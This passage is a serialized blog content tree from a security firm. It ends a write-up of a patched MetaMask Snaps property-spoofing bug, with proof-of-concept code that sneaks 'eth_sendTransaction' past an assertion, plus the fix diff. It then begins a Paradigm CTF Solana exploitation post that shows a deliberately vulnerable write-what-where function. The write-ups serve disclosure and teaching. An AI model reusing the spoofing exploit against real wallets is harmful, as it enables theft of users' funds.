\"snap_dialog\"\n",{"type":22,"tag":101,"props":43662,"children":43663},{"class":103,"line":1032},[43664],{"type":22,"tag":101,"props":43665,"children":43666},{"emptyLinePlaceholder":15},[43667],{"type":27,"value":1581},{"type":22,"tag":101,"props":43669,"children":43670},{"class":103,"line":1063},[43671,43675,43679,43683,43687,43692,43696],{"type":22,"tag":101,"props":43672,"children":43673},{"style":126},[43674],{"type":27,"value":43643},{"type":22,"tag":101,"props":43676,"children":43677},{"style":120},[43678],{"type":27,"value":231},{"type":22,"tag":101,"props":43680,"children":43681},{"style":926},[43682],{"type":27,"value":43407},{"type":22,"tag":101,"props":43684,"children":43685},{"style":166},[43686],{"type":27,"value":960},{"type":22,"tag":101,"props":43688,"children":43689},{"style":120},[43690],{"type":27,"value":43691}," () ",{"type":22,"tag":101,"props":43693,"children":43694},{"style":108},[43695],{"type":27,"value":18823},{"type":22,"tag":101,"props":43697,"children":43698},{"style":120},[43699],{"type":27,"value":154},{"type":22,"tag":101,"props":43701,"children":43702},{"class":103,"line":1071},[43703,43707],{"type":22,"tag":101,"props":43704,"children":43705},{"style":3595},[43706],{"type":27,"value":20986},{"type":22,"tag":101,"props":43708,"children":43709},{"style":120},[43710],{"type":27,"value":154},{"type":22,"tag":101,"props":43712,"children":43713},{"class":103,"line":1110},[43714,43719,43724],{"type":22,"tag":101,"props":43715,"children":43716},{"style":126},[43717],{"type":27,"value":43718}," method:",{"type":22,"tag":101,"props":43720,"children":43721},{"style":6476},[43722],{"type":27,"value":43723}," \"eth_requestAccounts\"",{"type":22,"tag":101,"props":43725,"children":43726},{"style":120},[43727],{"type":27,"value":179},{"type":22,"tag":101,"props":43729,"children":43730},{"class":103,"line":1118},[43731,43736],{"type":22,"tag":101,"props":43732,"children":43733},{"style":126},[43734],{"type":27,"value":43735}," params:",{"type":22,"tag":101,"props":43737,"children":43738},{"style":120},[43739],{"type":27,"value":43740}," []\n",{"type":22,"tag":101,"props":43742,"children":43743},{"class":103,"line":1158},[43744],{"type":22,"tag":101,"props":43745,"children":43746},{"style":120},[43747],{"type":27,"value":1734},{"type":22,"tag":101,"props":43749,"children":43750},{"class":103,"line":1166},[43751],{"type":22,"tag":101,"props":43752,"children":43753},{"style":120},[43754],{"type":27,"value":9908},{"type":22,"tag":101,"props":43756,"children":43757},{"class":103,"line":1215},[43758],{"type":22,"tag":101,"props":43759,"children":43760},{"emptyLinePlaceholder":15},[43761],{"type":27,"value":1581},{"type":22,"tag":101,"props":43763,"children":43764},{"class":103,"line":2425},[43765,43769,43774,43778,43782,43786,43790],{"type":22,"tag":101,"props":43766,"children":43767},{"style":3595},[43768],{"type":27,"value":43193},{"type":22,"tag":101,"props":43770,"children":43771},{"style":126},[43772],{"type":27,"value":43773}," snap",{"type":22,"tag":101,"props":43775,"children":43776},{"style":120},[43777],{"type":27,"value":231},{"type":22,"tag":101,"props":43779,"children":43780},{"style":926},[43781],{"type":27,"value":35489},{"type":22,"tag":101,"props":43783,"children":43784},{"style":120},[43785],{"type":27,"value":980},{"type":22,"tag":101,"props":43787,"children":43788},{"style":126},[43789],{"type":27,"value":23266},{"type":22,"tag":101,"props":43791,"children":43792},{"style":120},[43793],{"type":27,"value":2510},{"type":22,"tag":101,"props":43795,"children":43796},{"class":103,"line":5417},[43797],{"type":22,"tag":101,"props":43798,"children":43799},{"emptyLinePlaceholder":15},[43800],{"type":27,"value":1581},{"type":22,"tag":101,"props":43802,"children":43803},{"class":103,"line":7714},[43804],{"type":22,"tag":101,"props":43805,"children":43806},{"style":120},[43807],{"type":27,"value":188},{"type":22,"tag":101,"props":43809,"children":43810},{"class":103,"line":7723},[43811],{"type":22,"tag":101,"props":43812,"children":43813},{"emptyLinePlaceholder":15},[43814],{"type":27,"value":1581},{"type":22,"tag":101,"props":43816,"children":43817},{"class":103,"line":7791},[43818,43822,43827],{"type":22,"tag":101,"props":43819,"children":43820},{"style":108},[43821],{"type":27,"value":35373},{"type":22,"tag":101,"props":43823,"children":43824},{"style":926},[43825],{"type":27,"value":43826}," transactionExploit",{"type":22,"tag":101,"props":43828,"children":43829},{"style":120},[43830],{"type":27,"value":43599},{"type":22,"tag":101,"props":43832,"children":43833},{"class":103,"line":7799},[43834,43838,43842,43846,43850,43854],{"type":22,"tag":101,"props":43835,"children":43836},{"style":108},[43837],{"type":27,"value":11865},{"type":22,"tag":101,"props":43839,"children":43840},{"style":126},[43841],{"type":27,"value":23055},{"type":22,"tag":101,"props":43843,"children":43844},{"style":166},[43845],{"type":27,"value":960},{"type":22,"tag":101,"props":43847,"children":43848},{"style":120},[43849],{"type":27,"value":43619},{"type":22,"tag":101,"props":43851,"children":43852},{"style":3595},[43853],{"type":27,"value":12849},{"type":22,"tag":101,"props":43855,"children":43856},{"style":114},[43857],{"type":27,"value":43628},{"type":22,"tag":101,"props":43859,"children":43860},{"class":103,"line":7829},[43861],{"type":22,"tag":101,"props":43862,"children":43863},{"emptyLinePlaceholder":15},[43864],{"type":27,"value":1581},{"type":22,"tag":101,"props":43866,"children":43867},{"class":103,"line":7837},[43868,43872,43876,43880,43884],{"type":22,"tag":101,"props":43869,"children":43870},{"style":126},[43871],{"type":27,"value":43643},{"type":22,"tag":101,"props":43873,"children":43874},{"style":120},[43875],{"type":27,"value":231},{"type":22,"tag":101,"props":43877,"children":43878},{"style":126},[43879],{"type":27,"value":42309},{"type":22,"tag":101,"props":43881,"children":43882},{"style":166},[43883],{"type":27,"value":960},{"type":22,"tag":101,"props":43885,"children":43886},{"style":6476},[43887],{"type":27,"value":43660},{"type":22,"tag":101,"props":43889,"children":43890},{"class":103,"line":7868},[43891],{"type":22,"tag":101,"props":43892,"children":43893},{"emptyLinePlaceholder":15},[43894],{"type":27,"value":1581},{"type":22,"tag":101,"props":43896,"children":43897},{"class":103,"line":7876},[43898,43902,43906,43910,43914,43918,43922],{"type":22,"tag":101,"props":43899,"children":43900},{"style":126},[43901],{"type":27,"value":43643},{"type":22,"tag":101,"props":43903,"children":43904},{"style":120},[43905],{"type":27,"value":231},{"type":22,"tag":101,"props":43907,"children":43908},{"style":926},[43909],{"type":27,"value":43407},{"type":22,"tag":101,"props":43911,"children":43912},{"style":166},[43913],{"type":27,"value":960},{"type":22,"tag":101,"props":43915,"children":43916},{"style":120},[43917],{"type":27,"value":43691},{"type":22,"tag":101,"props":43919,"children":43920},{"style":108},[43921],{"type":27,"value":18823},{"type":22,"tag":101,"props":43923,"children":43924},{"style":120},[43925],{"type":27,"value":154},{"type":22,"tag":101,"props":43927,"children":43928},{"class":103,"line":7936},[43929,43933],{"type":22,"tag":101,"props":43930,"children":43931},{"style":3595},[43932],{"type":27,"value":20986},{"type":22,"tag":101,"props":43934,"children":43935},{"style":120},[43936],{"type":27,"value":154},{"type":22,"tag":101,"props":43938,"children":43939},{"class":103,"line":13054},[43940,43944,43949],{"type":22,"tag":101,"props":43941,"children":43942},{"style":126},[43943],{"type":27,"value":43718},{"type":22,"tag":101,"props":43945,"children":43946},{"style":6476},[43947],{"type":27,"value":43948}," \"eth_sendTransaction\"",{"type":22,"tag":101,"props":43950,"children":43951},{"style":120},[43952],{"type":27,"value":179},{"type":22,"tag":101,"props":43954,"children":43955},{"class":103,"line":13072},[43956,43960],{"type":22,"tag":101,"props":43957,"children":43958},{"style":126},[43959],{"type":27,"value":43735},{"type":22,"tag":101,"props":43961,"children":43962},{"style":120},[43963],{"type":27,"value":43964}," [{\n",{"type":22,"tag":101,"props":43966,"children":43967},{"class":103,"line":13117},[43968,43972,43977,43981],{"type":22,"tag":101,"props":43969,"children":43970},{"style":126},[43971],{"type":27,"value":36061},{"type":22,"tag":101,"props":43973,"children":43974},{"style":6476},[43975],{"type":27,"value":43976}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":22,"tag":101,"props":43978,"children":43979},{"style":120},[43980],{"type":27,"value":758},{"type":22,"tag":101,"props":43982,"children":43983},{"style":2215},[43984],{"type":27,"value":43985},"// change this to your address\n",{"type":22,"tag":101,"props":43987,"children":43988},{"class":103,"line":13223},[43989,43993,43997],{"type":22,"tag":101,"props":43990,"children":43991},{"style":126},[43992],{"type":27,"value":36077},{"type":22,"tag":101,"props":43994,"children":43995},{"style":6476},[43996],{"type":27,"value":43976},{"type":22,"tag":101,"props":43998,"children":43999},{"style":120},[44000],{"type":27,"value":179},{"type":22,"tag":101,"props":44002,"children":44003},{"class":103,"line":27496},[44004,44009,44014],{"type":22,"tag":101,"props":44005,"children":44006},{"style":126},[44007],{"type":27,"value":44008}," value:",{"type":22,"tag":101,"props":44010,"children":44011},{"style":6476},[44012],{"type":27,"value":44013}," \"0x1\"",{"type":22,"tag":101,"props":44015,"children":44016},{"style":120},[44017],{"type":27,"value":179},{"type":22,"tag":101,"props":44019,"children":44020},{"class":103,"line":27531},[44021],{"type":22,"tag":101,"props":44022,"children":44023},{"style":120},[44024],{"type":27,"value":44025}," }]\n",{"type":22,"tag":101,"props":44027,"children":44028},{"class":103,"line":27539},[44029],{"type":22,"tag":101,"props":44030,"children":44031},{"style":120},[44032],{"type":27,"value":1734},{"type":22,"tag":101,"props":44034,"children":44035},{"class":103,"line":27547},[44036],{"type":22,"tag":101,"props":44037,"children":44038},{"style":120},[44039],{"type":27,"value":9908},{"type":22,"tag":101,"props":44041,"children":44042},{"class":103,"line":27556},[44043],{"type":22,"tag":101,"props":44044,"children":44045},{"emptyLinePlaceholder":15},[44046],{"type":27,"value":1581},{"type":22,"tag":101,"props":44048,"children":44049},{"class":103,"line":27598},[44050,44054,44058,44062,44066,44070,44074],{"type":22,"tag":101,"props":44051,"children":44052},{"style":3595},[44053],{"type":27,"value":43193},{"type":22,"tag":101,"props":44055,"children":44056},{"style":126},[44057],{"type":27,"value":43773},{"type":22,"tag":101,"props":44059,"children":44060},{"style":120},[44061],{"type":27,"value":231},{"type":22,"tag":101,"props":44063,"children":44064},{"style":926},[44065],{"type":27,"value":35489},{"type":22,"tag":101,"props":44067,"children":44068},{"style":120},[44069],{"type":27,"value":980},{"type":22,"tag":101,"props":44071,"children":44072},{"style":126},[44073],{"type":27,"value":23266},{"type":22,"tag":101,"props":44075,"children":44076},{"style":120},[44077],{"type":27,"value":994},{"type":22,"tag":101,"props":44079,"children":44080},{"class":103,"line":27631},[44081],{"type":22,"tag":101,"props":44082,"children":44083},{"style":120},[44084],{"type":27,"value":188},{"type":22,"tag":101,"props":44086,"children":44087},{"class":103,"line":27639},[44088],{"type":22,"tag":101,"props":44089,"children":44090},{"emptyLinePlaceholder":15},[44091],{"type":27,"value":1581},{"type":22,"tag":101,"props":44093,"children":44094},{"class":103,"line":27647},[44095,44099,44103,44108,44112,44117,44121,44126,44131,44135,44139,44144,44148],{"type":22,"tag":101,"props":44096,"children":44097},{"style":3595},[44098],{"type":27,"value":42205},{"type":22,"tag":101,"props":44100,"children":44101},{"style":108},[44102],{"type":27,"value":43105},{"type":22,"tag":101,"props":44104,"children":44105},{"style":926},[44106],{"type":27,"value":44107}," onRpcRequest",{"type":22,"tag":101,"props":44109,"children":44110},{"style":166},[44111],{"type":27,"value":169},{"type":22,"tag":101,"props":44113,"children":44114},{"style":114},[44115],{"type":27,"value":44116}," OnRpcRequestHandler",{"type":22,"tag":101,"props":44118,"children":44119},{"style":166},[44120],{"type":27,"value":960},{"type":22,"tag":101,"props":44122,"children":44123},{"style":120},[44124],{"type":27,"value":44125}," ({ ",{"type":22,"tag":101,"props":44127,"children":44128},{"style":126},[44129],{"type":27,"value":44130},"origin",{"type":22,"tag":101,"props":44132,"children":44133},{"style":120},[44134],{"type":27,"value":758},{"type":22,"tag":101,"props":44136,"children":44137},{"style":126},[44138],{"type":27,"value":35489},{"type":22,"tag":101,"props":44140,"children":44141},{"style":120},[44142],{"type":27,"value":44143}," }) ",{"type":22,"tag":101,"props":44145,"children":44146},{"style":108},[44147],{"type":27,"value":18823},{"type":22,"tag":101,"props":44149,"children":44150},{"style":120},[44151],{"type":27,"value":154},{"type":22,"tag":101,"props":44153,"children":44154},{"class":103,"line":27656},[44155],{"type":22,"tag":101,"props":44156,"children":44157},{"emptyLinePlaceholder":15},[44158],{"type":27,"value":1581},{"type":22,"tag":101,"props":44160,"children":44161},{"class":103,"line":27732},[44162,44167,44171,44175,44179,44183],{"type":22,"tag":101,"props":44163,"children":44164},{"style":3595},[44165],{"type":27,"value":44166}," switch",{"type":22,"tag":101,"props":44168,"children":44169},{"style":120},[44170],{"type":27,"value":3603},{"type":22,"tag":101,"props":44172,"children":44173},{"style":126},[44174],{"type":27,"value":35489},{"type":22,"tag":101,"props":44176,"children":44177},{"style":120},[44178],{"type":27,"value":231},{"type":22,"tag":101,"props":44180,"children":44181},{"style":126},[44182],{"type":27,"value":42309},{"type":22,"tag":101,"props":44184,"children":44185},{"style":120},[44186],{"type":27,"value":1463},{"type":22,"tag":101,"props":44188,"children":44189},{"class":103,"line":27765},[44190,44195,44200],{"type":22,"tag":101,"props":44191,"children":44192},{"style":3595},[44193],{"type":27,"value":44194}," case",{"type":22,"tag":101,"props":44196,"children":44197},{"style":6476},[44198],{"type":27,"value":44199}," 'json'",{"type":22,"tag":101,"props":44201,"children":44202},{"style":120},[44203],{"type":27,"value":9611},{"type":22,"tag":101,"props":44205,"children":44206},{"class":103,"line":27773},[44207,44211,44215],{"type":22,"tag":101,"props":44208,"children":44209},{"style":3595},[44210],{"type":27,"value":43351},{"type":22,"tag":101,"props":44212,"children":44213},{"style":926},[44214],{"type":27,"value":43594},{"type":22,"tag":101,"props":44216,"children":44217},{"style":120},[44218],{"type":27,"value":934},{"type":22,"tag":101,"props":44220,"children":44221},{"class":103,"line":27781},[44222,44226,44231],{"type":22,"tag":101,"props":44223,"children":44224},{"style":3595},[44225],{"type":27,"value":44194},{"type":22,"tag":101,"props":44227,"children":44228},{"style":6476},[44229],{"type":27,"value":44230}," 'transaction'",{"type":22,"tag":101,"props":44232,"children":44233},{"style":120},[44234],{"type":27,"value":9611},{"type":22,"tag":101,"props":44236,"children":44237},{"class":103,"line":27818},[44238,44242,44246],{"type":22,"tag":101,"props":44239,"children":44240},{"style":3595},[44241],{"type":27,"value":43351},{"type":22,"tag":101,"props":44243,"children":44244},{"style":926},[44245],{"type":27,"value":43826},{"type":22,"tag":101,"props":44247,"children":44248},{"style":120},[44249],{"type":27,"value":934},{"type":22,"tag":101,"props":44251,"children":44252},{"class":103,"line":27831},[44253,44258],{"type":22,"tag":101,"props":44254,"children":44255},{"style":3595},[44256],{"type":27,"value":44257}," default",{"type":22,"tag":101,"props":44259,"children":44260},{"style":120},[44261],{"type":27,"value":9611},{"type":22,"tag":101,"props":44263,"children":44264},{"class":103,"line":27844},[44265,44270,44274,44279,44283,44288],{"type":22,"tag":101,"props":44266,"children":44267},{"style":3595},[44268],{"type":27,"value":44269}," throw",{"type":22,"tag":101,"props":44271,"children":44272},{"style":108},[44273],{"type":27,"value":35929},{"type":22,"tag":101,"props":44275,"children":44276},{"style":926},[44277],{"type":27,"value":44278}," Error",{"type":22,"tag":101,"props":44280,"children":44281},{"style":120},[44282],{"type":27,"value":980},{"type":22,"tag":101,"props":44284,"children":44285},{"style":6476},[44286],{"type":27,"value":44287},"'Method not found.'",{"type":22,"tag":101,"props":44289,"children":44290},{"style":120},[44291],{"type":27,"value":994},{"type":22,"tag":101,"props":44293,"children":44294},{"class":103,"line":27857},[44295],{"type":22,"tag":101,"props":44296,"children":44297},{"style":120},[44298],{"type":27,"value":9908},{"type":22,"tag":101,"props":44300,"children":44301},{"class":103,"line":27911},[44302],{"type":22,"tag":101,"props":44303,"children":44304},{"style":120},[44305],{"type":27,"value":20576},{"type":22,"tag":23,"props":44307,"children":44308},{},[44309,44311,44317,44319,44324],{"type":27,"value":44310},"We set ",{"type":22,"tag":30,"props":44312,"children":44314},{"className":44313},[],[44315],{"type":27,"value":44316},"x.method = \"snap_dialog\"",{"type":27,"value":44318}," to pass the assertion and setup a toJSON function to change this method to ",{"type":22,"tag":30,"props":44320,"children":44322},{"className":44321},[],[44323],{"type":27,"value":43526},{"type":27,"value":44325}," after.",{"type":22,"tag":1760,"props":44327,"children":44329},{"id":44328},"mitigation",[44330],{"type":27,"value":44331},"Mitigation",{"type":22,"tag":23,"props":44333,"children":44334},{},[44335,44337,44342,44344,44351],{"type":27,"value":44336},"Metamask mitigated this issue by asserting the arguments after the ",{"type":22,"tag":30,"props":44338,"children":44340},{"className":44339},[],[44341],{"type":27,"value":43070},{"type":27,"value":44343}," function execution. The patch was introduced on commit ",{"type":22,"tag":80,"props":44345,"children":44348},{"href":44346,"rel":44347},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[84],[44349],{"type":27,"value":44350},"168ff08",{"type":27,"value":44352}," with the following changes:",{"type":22,"tag":91,"props":44354,"children":44358},{"className":44355,"code":44356,"language":44357,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[44359],{"type":22,"tag":30,"props":44360,"children":44361},{"__ignoreMap":7},[44362,44370,44378,44386,44394],{"type":22,"tag":101,"props":44363,"children":44364},{"class":103,"line":104},[44365],{"type":22,"tag":101,"props":44366,"children":44367},{"style":120},[44368],{"type":27,"value":44369},"const request = async (args: RequestArguments) => {\n",{"type":22,"tag":101,"props":44371,"children":44372},{"class":103,"line":157},[44373],{"type":22,"tag":101,"props":44374,"children":44375},{"style":6476},[44376],{"type":27,"value":44377},"- assertEthereumOutboundRequest(args);\n",{"type":22,"tag":101,"props":44379,"children":44380},{"class":103,"line":182},[44381],{"type":22,"tag":101,"props":44382,"children":44383},{"style":6476},[44384],{"type":27,"value":44385},"- const sanitizedArgs = getSafeJson(args);\n",{"type":22,"tag":101,"props":44387,"children":44388},{"class":103,"line":367},[44389],{"type":22,"tag":101,"props":44390,"children":44391},{"style":1544},[44392],{"type":27,"value":44393},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":22,"tag":101,"props":44395,"children":44396},{"class":103,"line":398},[44397],{"type":22,"tag":101,"props":44398,"children":44399},{"style":1544},[44400],{"type":27,"value":44401},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":22,"tag":53,"props":44403,"children":44404},{"id":6776},[44405],{"type":27,"value":6779},{"type":22,"tag":23,"props":44407,"children":44408},{},[44409],{"type":27,"value":44410},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":22,"tag":23,"props":44412,"children":44413},{},[44414],{"type":27,"value":44415},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":22,"tag":6891,"props":44417,"children":44418},{},[44419],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":44421},[44422,44423,44430,44438],{"id":22946,"depth":157,"text":22949},{"id":39449,"depth":157,"text":39452,"children":44424},[44425,44426,44427,44428,44429],{"id":39460,"depth":182,"text":39463},{"id":39528,"depth":182,"text":39531},{"id":39564,"depth":182,"text":39567},{"id":40959,"depth":182,"text":40962},{"id":41317,"depth":182,"text":41320},{"id":42104,"depth":157,"text":42107,"children":44431},[44432,44433,44434,44435,44436,44437],{"id":42110,"depth":182,"text":42113},{"id":42154,"depth":182,"text":42157},{"id":43056,"depth":182,"text":43059},{"id":9705,"depth":182,"text":9708},{"id":43499,"depth":182,"text":38825},{"id":44328,"depth":182,"text":44331},{"id":6776,"depth":157,"text":6779},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":44443,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44444,"description":44445,"author":44446,"image":44448,"date":44450,"isFeatured":15,"onBlogPage":15,"body":44451,"_type":6912,"_id":49867,"_source":6914,"_file":49868,"_stem":49869,"_extension":6917},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[44447,9763],"nicola",{"src":44449},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":19,"children":44452,"toc":49856},[44453,44467,44487,44492,44496,44509,44534,44540,44545,44560,44914,44929,45194,45210,45853,45859,45864,45877,45885,46096,46104,46407,46415,46558,46566,47091,47097,47109,47122,47136,47141,47908,47913,47921,47926,47932,47944,48009,48014,48027,48040,48046,48074,49223,49236,49278,49283,49288,49302,49442,49463,49484,49491,49542,49550,49561,49574,49579,49703,49716,49818,49822,49835,49840,49852],{"type":22,"tag":23,"props":44454,"children":44455},{},[44456,44458,44465],{"type":27,"value":44457},"In the world of CTFs, ",{"type":22,"tag":80,"props":44459,"children":44462},{"href":44460,"rel":44461},"https://twitter.com/paradigm_ctf",[84],[44463],{"type":27,"value":44464},"Paradigm CTF 2023",{"type":27,"value":44466}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":22,"tag":23,"props":44468,"children":44469},{},[44470,44472,44479,44480],{"type":27,"value":44471},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":22,"tag":80,"props":44473,"children":44476},{"href":44474,"rel":44475},"https://osec.io/blog/2022-03-14-solana-security-intro",[84],[44477],{"type":27,"value":44478},"Solana: An Auditor's Introduction",{"type":27,"value":209},{"type":22,"tag":80,"props":44481,"children":44484},{"href":44482,"rel":44483},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[84],[44485],{"type":27,"value":44486},"Reverse Engineering Solana with Binary Ninja.\n",{"type":22,"tag":23,"props":44488,"children":44489},{},[44490],{"type":27,"value":44491},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":22,"tag":53,"props":44493,"children":44494},{"id":22946},[44495],{"type":27,"value":22949},{"type":22,"tag":23,"props":44497,"children":44498},{},[44499,44501,44507],{"type":27,"value":44500},"The challenge itself resides into ",{"type":22,"tag":30,"props":44502,"children":44504},{"className":44503},[],[44505],{"type":27,"value":44506},"framework/",{"type":27,"value":44508},", and is composed of 2 parts:",{"type":22,"tag":6839,"props":44510,"children":44511},{},[44512,44523],{"type":22,"tag":6832,"props":44513,"children":44514},{},[44515,44521],{"type":22,"tag":30,"props":44516,"children":44518},{"className":44517},[],[44519],{"type":27,"value":44520},"framework/chall/lib.rs",{"type":27,"value":44522},": The on-chain eBPF program that needs to be exploited.",{"type":22,"tag":6832,"props":44524,"children":44525},{},[44526,44532],{"type":22,"tag":30,"props":44527,"children":44529},{"className":44528},[],[44530],{"type":27,"value":44531},"framework/src/main.rs",{"type":27,"value":44533},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":22,"tag":1760,"props":44535,"children":44537},{"id":44536},"vulnerable-program",[44538],{"type":27,"value":44539},"Vulnerable Program",{"type":22,"tag":23,"props":44541,"children":44542},{},[44543],{"type":27,"value":44544},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":22,"tag":6828,"props":44546,"children":44547},{},[44548],{"type":22,"tag":6832,"props":44549,"children":44550},{},[44551,44552,44558],{"type":27,"value":11493},{"type":22,"tag":30,"props":44553,"children":44555},{"className":44554},[],[44556],{"type":27,"value":44557},"data[0] == 0",{"type":27,"value":44559}," a function that lets you write-what-where is executed",{"type":22,"tag":91,"props":44561,"children":44563},{"className":93,"code":44562,"language":95,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[44564],{"type":22,"tag":30,"props":44565,"children":44566},{"__ignoreMap":7},[44567,44575,44620,44631,44754,44871,44900,44907],{"type":22,"tag":101,"props":44568,"children":44569},{"class":103,"line":104},[44570],{"type":22,"tag":101,"props":44571,"children":44572},{"style":120},[44573],{"type":27,"value":44574},"#[inline(never)]\n",{"type":22,"tag":101,"props":44576,"children":44577},{"class":103,"line":157},[44578,44582,44586,44591,44595,44599,44603,44607,44611,44615],{"type":22,"tag":101,"props":44579,"children":44580},{"style":108},[44581],{"type":27,"value":17693},{"type":22,"tag":101,"props":44583,"children":44584},{"style":108},[44585],{"type":27,"value":17698},{"type":22,"tag":101,"props":44587,"children":44588},{"style":926},[44589],{"type":27,"value":44590}," write",{"type":22,"tag":101,"props":44592,"children":44593},{"style":120},[44594],{"type":27,"value":980},{"type":22,"tag":101,"props":44596,"children":44597},{"style":126},[44598],{"type":27,"value":7738},{"type":22,"tag":101,"props":44600,"children":44601},{"style":166},[44602],{"type":27,"value":169},{"type":22,"tag":101,"props":44604,"children":44605},{"style":166},[44606],{"type":27,"value":870},{"type":22,"tag":101,"props":44608,"children":44609},{"style":120},[44610],{"type":27,"value":2414},{"type":22,"tag":101,"props":44612,"children":44613},{"style":114},[44614],{"type":27,"value":7458},{"type":22,"tag":101,"props":44616,"children":44617},{"style":120},[44618],{"type":27,"value":44619},"]) {\n",{"type":22,"tag":101,"props":44621,"children":44622},{"class":103,"line":182},[44623,44627],{"type":22,"tag":101,"props":44624,"children":44625},{"style":108},[44626],{"type":27,"value":17835},{"type":22,"tag":101,"props":44628,"children":44629},{"style":120},[44630],{"type":27,"value":154},{"type":22,"tag":101,"props":44632,"children":44633},{"class":103,"line":367},[44634,44638,44642,44646,44651,44655,44660,44664,44669,44673,44678,44682,44686,44690,44694,44698,44702,44706,44710,44714,44718,44722,44726,44730,44734,44738,44742,44746,44750],{"type":22,"tag":101,"props":44635,"children":44636},{"style":108},[44637],{"type":27,"value":3746},{"type":22,"tag":101,"props":44639,"children":44640},{"style":126},[44641],{"type":27,"value":17859},{"type":22,"tag":101,"props":44643,"children":44644},{"style":166},[44645],{"type":27,"value":960},{"type":22,"tag":101,"props":44647,"children":44648},{"style":120},[44649],{"type":27,"value":44650}," std",{"type":22,"tag":101,"props":44652,"children":44653},{"style":166},[44654],{"type":27,"value":970},{"type":22,"tag":101,"props":44656,"children":44657},{"style":120},[44658],{"type":27,"value":44659},"mem",{"type":22,"tag":101,"props":44661,"children":44662},{"style":166},[44663],{"type":27,"value":970},{"type":22,"tag":101,"props":44665,"children":44666},{"style":926},[44667],{"type":27,"value":44668},"transmute",{"type":22,"tag":101,"props":44670,"children":44671},{"style":166},[44672],{"type":27,"value":970},{"type":22,"tag":101,"props":44674,"children":44675},{"style":120},[44676],{"type":27,"value":44677},"\u003C[",{"type":22,"tag":101,"props":44679,"children":44680},{"style":114},[44681],{"type":27,"value":7458},{"type":22,"tag":101,"props":44683,"children":44684},{"style":120},[44685],{"type":27,"value":21224},{"type":22,"tag":101,"props":44687,"children":44688},{"style":1544},[44689],{"type":27,"value":8119},{"type":22,"tag":101,"props":44691,"children":44692},{"style":120},[44693],{"type":27,"value":27047},{"type":22,"tag":101,"props":44695,"children":44696},{"style":166},[44697],{"type":27,"value":8615},{"type":22,"tag":101,"props":44699,"children":44700},{"style":108},[44701],{"type":27,"value":7760},{"type":22,"tag":101,"props":44703,"children":44704},{"style":114},[44705],{"type":27,"value":174},{"type":22,"tag":101,"props":44707,"children":44708},{"style":120},[44709],{"type":27,"value":1618},{"type":22,"tag":101,"props":44711,"children":44712},{"style":126},[44713],{"type":27,"value":7738},{"type":22,"tag":101,"props":44715,"children":44716},{"style":120},[44717],{"type":27,"value":2414},{"type":22,"tag":101,"props":44719,"children":44720},{"style":166},[44721],{"type":27,"value":7096},{"type":22,"tag":101,"props":44723,"children":44724},{"style":1544},[44725],{"type":27,"value":8119},{"type":22,"tag":101,"props":44727,"children":44728},{"style":120},[44729],{"type":27,"value":19412},{"type":22,"tag":101,"props":44731,"children":44732},{"style":166},[44733],{"type":27,"value":231},{"type":22,"tag":101,"props":44735,"children":44736},{"style":926},[44737],{"type":27,"value":30160},{"type":22,"tag":101,"props":44739,"children":44740},{"style":120},[44741],{"type":27,"value":17881},{"type":22,"tag":101,"props":44743,"children":44744},{"style":166},[44745],{"type":27,"value":231},{"type":22,"tag":101,"props":44747,"children":44748},{"style":926},[44749],{"type":27,"value":7700},{"type":22,"tag":101,"props":44751,"children":44752},{"style":120},[44753],{"type":27,"value":1980},{"type":22,"tag":101,"props":44755,"children":44756},{"class":103,"line":398},[44757,44761,44766,44770,44774,44778,44782,44786,44790,44794,44798,44802,44806,44810,44814,44818,44822,44826,44830,44834,44838,44843,44847,44851,44855,44859,44863,44867],{"type":22,"tag":101,"props":44758,"children":44759},{"style":108},[44760],{"type":27,"value":3746},{"type":22,"tag":101,"props":44762,"children":44763},{"style":126},[44764],{"type":27,"value":44765}," 